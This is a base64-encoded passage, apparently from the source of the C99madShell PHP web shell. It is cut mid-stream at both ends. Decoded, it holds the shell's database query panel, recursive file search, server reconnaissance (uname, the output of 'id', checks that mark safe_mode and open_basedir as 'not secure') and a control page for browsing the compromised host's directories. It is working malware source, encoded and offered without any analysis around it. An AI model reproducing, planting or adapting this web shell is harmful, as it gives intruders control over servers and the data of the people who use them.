PVwic3FsX3Bhc3N3ZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFjdFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJOb1wiPjwvZm9ybT48L3RkPiI7DQogIGlmICgkdGJsX3N0cnVjdCkNCiAgew0KICAgZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiuyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5jOTlzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KICB9DQogfQ0KIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9jcmVhdGVfZGIiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpDQp7DQogJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIuYWRkc2xhc2hlcygkZGIpLiJgOyI7DQogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30NCiBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpDQp7DQpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpDQp7DQogJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsNCiAvKmFycmF5IGFycmF5KCkNCiB7DQogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksDQogICJNRVRIT0QxIi4uLg0KICAuLi4NCiB9DQogaWYgb3V0cHV0X3R5cGUgPT0gMCwgbm8gb3V0cHV0LA0KIGlmIG91dHB1dF90eXBlID09IDEsIG5vIG91dHB1dCBpZiBubyBlcnJvcg0KIGlmIG91dHB1dF90eXBlID09IDIsIG91dHB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucw0KIGlmIG91dHB1dF90eXBlID09IDMsIG91dHB1dCB3aXRoIGNvbnRyb2wtYnV0dG9ucw0KICovDQogJHR5cGVzID0gYXJyYXkoDQogICJTRUxFQ1QiPT5hcnJheSgzLDEpLA0KICAiU0hPVyI9PmFycmF5KDIsMSksDQogICJERUxFVEUiPT5hcnJheSgxKSwNCiAgIkRST1AiPT5hcnJheSgxKQ0KICk7DQogJHJlc3VsdCA9IGFycmF5KCk7DQogJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiBpZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKQ0KIHsNCiAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAkcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsNCiAgaWYgKCR0eXBlc1skb3BdID09IDIpDQogIHsNCiAgIGZvcmVhY2goJGFyciBhcyAkaz0+JHYpDQogICB7DQogICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpDQogICAgew0KICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsNCiAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOw0KICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRbImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30NCiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVsc2Uge3JldHVybiBGQUxTRTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiYzk5ZnNlYXJjaCIpKQ0Kew0KZnVuY3Rpb24gYzk5ZnNlYXJjaCgkZCkNCnsNCiBnbG9iYWwgJGZvdW5kOw0KIGdsb2JhbCAkZm91bmRfZDsNCiBnbG9iYWwgJGZvdW5kX2Y7DQogZ2xvYmFsICRzZWFyY2hfaV9mOw0KIGdsb2JhbCAkc2VhcmNoX2lfZDsNCiBnbG9iYWwgJGE7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpDQogew0KICBpZigkZiAhPSAiLiIgJiYgJGYgIT0gIi4uIikNCiAgew0KICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOw0KICAgaWYgKGlzX2RpcigkZC4kZikpDQogICB7DQogICAgJHNlYXJjaF9pX2QrKzsNCiAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgaWYgKCFpc19saW5rKCRkLiRmKSkge2M5OWZzZWFyY2goJGQuJGYpO30NCiAgIH0NCiAgIGVsc2UNCiAgIHsNCiAgICAkc2VhcmNoX2lfZisrOw0KICAgIGlmICgkYm9vbCkNCiAgICB7DQogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpDQogICAgIHsNCiAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQ0KICAgICAgaWYgKCEkYVsidGV4dF9jcyJdKSB7JGFbInRleHQiXSA9IHN0cnRvbG93ZXIoJGFbInRleHQiXSk7ICRyID0gc3RydG9sb3dlcigkcik7fQ0KICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30NCiAgICAgIGlmICgkYVsidGV4dF9ub3QiXSkgeyRib29sID0gISRib29sO30NCiAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICB9DQogICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgIH0NCiAgIH0NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQp9DQp9DQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQ0KLy9TZW5kaW5nIGhlYWRlcnMNCkBvYl9zdGFydCgpOw0KQG9iX2ltcGxpY2l0X2ZsdXNoKDApOw0KZnVuY3Rpb24gb25waHBzaHV0ZG93bigpDQp7DQogZ2xvYmFsICRnemlwZW5jb2RlLCRmdDsNCiBpZiAoIWhlYWRlcnNfc2VudCgpIGFuZCAkZ3ppcGVuY29kZSBhbmQgIWluX2FycmF5KCRmdCxhcnJheSgiaW1nIiwiZG93bmxvYWQiLCJub3RlcGFkIikpKQ0KIHsNCiAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogIEBvYl9lbmRfY2xlYW4oKTsNCiAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsNCiAgZWNobyAkdjsNCiAgQG9iX2VuZF9mbHVzaCgpOw0KIH0NCn0NCmZ1bmN0aW9uIGM5OXNoZXhpdCgpDQp7DQogb25waHBzaHV0ZG93bigpOw0KIGV4aXQ7DQp9DQpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7DQpoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZ21kYXRlKCJELCBkIE0gWSBIOmk6cyIpLiIgR01UIik7DQpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLXN0b3JlLCBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBGQUxTRSk7DQpoZWFkZXIoIlByYWdtYTogbm8tY2FjaGUiKTsNCmlmIChlbXB0eSgkdG1wZGlyKSkNCnsNCiAkdG1wZGlyID0gaW5pX2dldCgidXBsb2FkX3RtcF9kaXIiKTsNCiBpZiAoaXNfZGlyKCR0bXBkaXIpKSB7JHRtcGRpciA9ICIvdG1wLyI7fQ0KfQ0KJHRtcGRpciA9IHJlYWxwYXRoKCR0bXBkaXIpOw0KJHRtcGRpciA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdG1wZGlyKTsNCmlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQppZiAoZW1wdHkoJHRtcGRpcl9sb2dzKSkgeyR0bXBkaXJfbG9ncyA9ICR0bXBkaXI7fQ0KZWxzZSB7JHRtcGRpcl9sb2dzID0gcmVhbHBhdGgoJHRtcGRpcl9sb2dzKTt9DQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQ0Kew0KICRzYWZlbW9kZSA9IFRSVUU7DQogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsNCn0NCmVsc2UgeyRzYWZlbW9kZSA9IEZBTFNFOyAkaHNhZmVtb2RlID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9DQokdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsNCmlmICgkdiBvciBzdHJ0b2xvd2VyKCR2KSA9PSAib24iKSB7JG9wZW5iYXNlZGlyID0gVFJVRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1yZWQ+Ii4kdi4iPC9mb250PiI7fQ0KZWxzZSB7JG9wZW5iYXNlZGlyID0gRkFMU0U7ICRob3BlbmJhc2VkaXIgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2VjdXJlKTwvZm9udD4iO30NCiRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7DQppZiAoZW1wdHkoJHNvcnQpKSB7JHNvcnQgPSAkc29ydF9kZWZhdWx0O30NCiRzb3J0WzFdID0gc3RydG9sb3dlcigkc29ydFsxXSk7DQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOw0KaWYgKCFlcmVnKCJQSFAvIi5waHB2ZXJzaW9uKCksJERJU1BfU0VSVkVSX1NPRlRXQVJFKSkgeyRESVNQX1NFUlZFUl9TT0ZUV0FSRSAuPSAiLiBQSFAvIi5waHB2ZXJzaW9uKCk7fQ0KJERJU1BfU0VSVkVSX1NPRlRXQVJFID0gc3RyX3JlcGxhY2UoIlBIUC8iLnBocHZlcnNpb24oKSwiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J3BocGluZm8nO2RvY3VtZW50LnRvZG8uc3VibWl0KCk7XCI+PGI+PHU+UEhQLyIucGhwdmVyc2lvbigpLiI8L3U+PC9iPjwvYT4iLGh0bWxzcGVjaWFsY2hhcnMoJERJU1BfU0VSVkVSX1NPRlRXQVJFKSk7DQpAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsgLy9GRkZGRkYNCkBpbmlfc2V0KCJoaWdobGlnaHQuY29tbWVudCIsJGhpZ2hsaWdodF9jb21tZW50KTsgLy8jRkY4MDAwDQpAaW5pX3NldCgiaGlnaGxpZ2h0LmRlZmF1bHQiLCRoaWdobGlnaHRfZGVmYXVsdCk7IC8vIzAwMDBCQg0KQGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOyAvLyMwMDAwMDANCkBpbmlfc2V0KCJoaWdobGlnaHQua2V5d29yZCIsJGhpZ2hsaWdodF9rZXl3b3JkKTsgLy8jMDA3NzAwDQpAaW5pX3NldCgiaGlnaGxpZ2h0LnN0cmluZyIsJGhpZ2hsaWdodF9zdHJpbmcpOyAvLyNERDAwMDANCmlmICghaXNfYXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9DQokZHNwYWN0ID0gJGFjdCA9IGh0bWxzcGVjaWFsY2hhcnMoJGFjdCk7DQokZGlzcF9mdWxscGF0aCA9ICRsc19hcnIgPSAkbm90bHMgPSBudWxsOw0KJHVkID0gdXJsZW5jb2RlKCRkKTsNCj8+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9d2luZG93cy0xMjUxIj48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+PHRpdGxlPjw/cGhwIGVjaG8gZ2V0ZW52KCJIVFRQX0hPU1QiKTsgPz4gLSBjOTltYWRzaGVsbDwvdGl0bGU+PFNUWUxFPlREIHsgRk9OVC1TSVpFOiA4cHQ7IENPTE9SOiAjZWJlYmViOyBGT05ULUZBTUlMWTogdmVyZGFuYTt9Qk9EWSB7IHNjcm9sbGJhci1mYWNlLWNvbG9yOiAjODAwMDAwOyBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWRhcmtzaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjMTAxMDEwOyBmb250LWZhbWlseTogVmVyZGFuYTt9VEQuaGVhZGVyIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgRk9OVC1TSVpFOiAxMHB0OyBCQUNLR1JPVU5EOiAjN2Q3NDc0OyBDT0xPUjogd2hpdGU7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31BIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNkYWRhZGE7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUE6dW5rbm93biB7IEZPTlQtV0VJR0hUOiBub3JtYWw7IENPTE9SOiAjZmZmZmZmOyBGT05ULUZBTUlMWTogdmVyZGFuYTsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QS5MaW5rczp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTpob3ZlciB7IENPTE9SOiAjZmZmZmZmOyBURVhULURFQ09SQVRJT046IHVuZGVybGluZTt9LnNraW4we3Bvc2l0aW9uOmFic29sdXRlOyB3aWR0aDoyMDBweDsgYm9yZGVyOjJweCBzb2xpZCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjptZW51OyBmb250LWZhbWlseTpWZXJkYW5hOyBsaW5lLWhlaWdodDoyMHB4OyBjdXJzb3I6ZGVmYXVsdDsgdmlzaWJpbGl0eTpoaWRkZW47O30uc2tpbjF7Y3Vyc29yOiBkZWZhdWx0OyBmb250OiBtZW51dGV4dDsgcG9zaXRpb246IGFic29sdXRlOyB3aWR0aDogMTQ1cHg7IGJhY2tncm91bmQtY29sb3I6IG1lbnU7IGJvcmRlcjogMSBzb2xpZCBidXR0b25mYWNlO3Zpc2liaWxpdHk6aGlkZGVuOyBib3JkZXI6IDIgb3V0c2V0IGJ1dHRvbmhpZ2hsaWdodDsgZm9udC1mYW1pbHk6IFZlcmRhbmEsR2VuZXZhLCBBcmlhbDsgZm9udC1zaXplOiAxMHB4OyBjb2xvcjogYmxhY2s7fS5tZW51aXRlbXN7cGFkZGluZy1sZWZ0OjE1cHg7IHBhZGRpbmctcmlnaHQ6MTBweDs7fWlucHV0e2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXRleHRhcmVhe2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWJ1dHRvbntiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31zZWxlY3R7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9b3B0aW9uIHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31pZnJhbWUge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXAge01BUkdJTi1UT1A6IDBweDsgTUFSR0lOLUJPVFRPTTogMHB4OyBMSU5FLUhFSUdIVDogMTUwJX1ibG9ja3F1b3RleyBmb250LXNpemU6IDhwdDsgZm9udC1mYW1pbHk6IENvdXJpZXIsIEZpeGVkLCBBcmlhbDsgYm9yZGVyIDogOHB4IHNvbGlkICNBOUE5QTk7IHBhZGRpbmc6IDFlbTsgbWFyZ2luLXRvcDogMWVtOyBtYXJnaW4tYm90dG9tOiA1ZW07IG1hcmdpbi1yaWdodDogM2VtOyBtYXJnaW4tbGVmdDogNGVtOyBiYWNrZ3JvdW5kLWNvbG9yOiAjQjdCMkIwO31ib2R5LHRkLHRoIHsgZm9udC1mYW1pbHk6IHZlcmRhbmE7IGNvbG9yOiAjZDlkOWQ5OyBmb250LXNpemU6IDExcHg7fWJvZHkgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO308L3N0eWxlPjwvaGVhZD48Qk9EWSB0ZXh0PSNmZmZmZmYgYm90dG9tTWFyZ2luPTAgYmdDb2xvcj0jMDAwMDAwIGxlZnRNYXJnaW49MCB0b3BNYXJnaW49MCByaWdodE1hcmdpbj0wIG1hcmdpbmhlaWdodD0wIG1hcmdpbndpZHRoPTA+PGZvcm0gbmFtZT0ndG9kbycgbWV0aG9kPSdQT1NUJz48aW5wdXQgbmFtZT0nYWN0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdncmVwJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdmdWxsaGV4ZHVtcCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nYmFzZTY0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSduaXhwYXNzd2QnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3BpZCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nYycgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nd2hpdGUnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NpZycgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0ncHJvY2Vzc2VzX3NvcnQnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2QnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NvcnQnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2YnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J2Z0JyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjwvZm9ybT48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjE1IiBub3dyYXAgYm9yZGVyY29sb3I9IiNDMEMwQzAiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cD48Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iNSI+PGI+Qzk5bWFkU2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5ic3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhwDQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOw0KJGkgPSAwOw0KZm9yZWFjaCgkcGQgYXMgJGIpDQp7DQogJHQgPSAiIjsNCiAkaiA9IDA7DQogZm9yZWFjaCAoJGUgYXMgJHIpDQogew0KICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogIGlmICgkaiA9PSAkaSkge2JyZWFrO30NCiAgJGorKzsNCiB9DQogZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5hY3QudmFsdWU9J2xzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCR0KS4iJztkb2N1bWVudC50b2RvLnNvcnQudmFsdWU9JyIuJHNvcnQuIic7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsNCiAkaSsrOw0KfQ0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsNCmlmIChpc193cml0YWJsZSgkZCkpDQp7DQogJHdkID0gVFJVRTsNCiAkd2R0ID0gIjxmb250IGNvbG9yPWdyZWVuPlsgb2sgXTwvZm9udD4iOw0KIGVjaG8gIjxiPjxmb250IGNvbG9yPWdyZWVuPiIudmlld19wZXJtcyhmaWxlcGVybXMoJGQpKS4iPC9mb250PjwvYj4iOw0KfQ0KZWxzZQ0Kew0KICR3ZCA9IEZBTFNFOw0KICR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPlsgUmVhZC1Pbmx5IF08L2ZvbnQ+IjsNCiBlY2hvICI8Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+IjsNCn0NCmlmIChpc19jYWxsYWJsZSgiZGlza19mcmVlX3NwYWNlIikpDQp7DQogJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGQpOw0KICR0b3RhbCA9IGRpc2tfdG90YWxfc3BhY2UoJGQpOw0KIGlmICgkZnJlZSA9PT0gRkFMU0UpIHskZnJlZSA9IDA7fQ0KIGlmICgkdG90YWwgPT09IEZBTFNFKSB7JHRvdGFsID0gMDt9DQogaWYgKCRmcmVlIDwgMCkgeyRmcmVlID0gMDt9DQogaWYgKCR0b3RhbCA8IDApIHskdG90YWwgPSAwO30NCiAkdXNlZCA9ICR0b3RhbC0kZnJlZTsNCiAkZnJlZV9wZXJjZW50ID0gcm91bmQoMTAwLygkdG90YWwvJGZyZWUpLDIpOw0KIGVjaG8gIjxicj48Yj5GcmVlICIudmlld19zaXplKCRmcmVlKS4iIG9mICIudmlld19zaXplKCR0b3RhbCkuIiAoIi4kZnJlZV9wZXJjZW50LiIlKTwvYj4iOw0KfQ0KZWNobyAiPGJyPiI7DQokbGV0dGVycyA9ICIiOw0KaWYgKCR3aW4pDQp7DQogJHYgPSBleHBsb2RlKCJcXCIsJGQpOw0KICR2ID0gJHZbMF07DQogZm9yZWFjaCAocmFu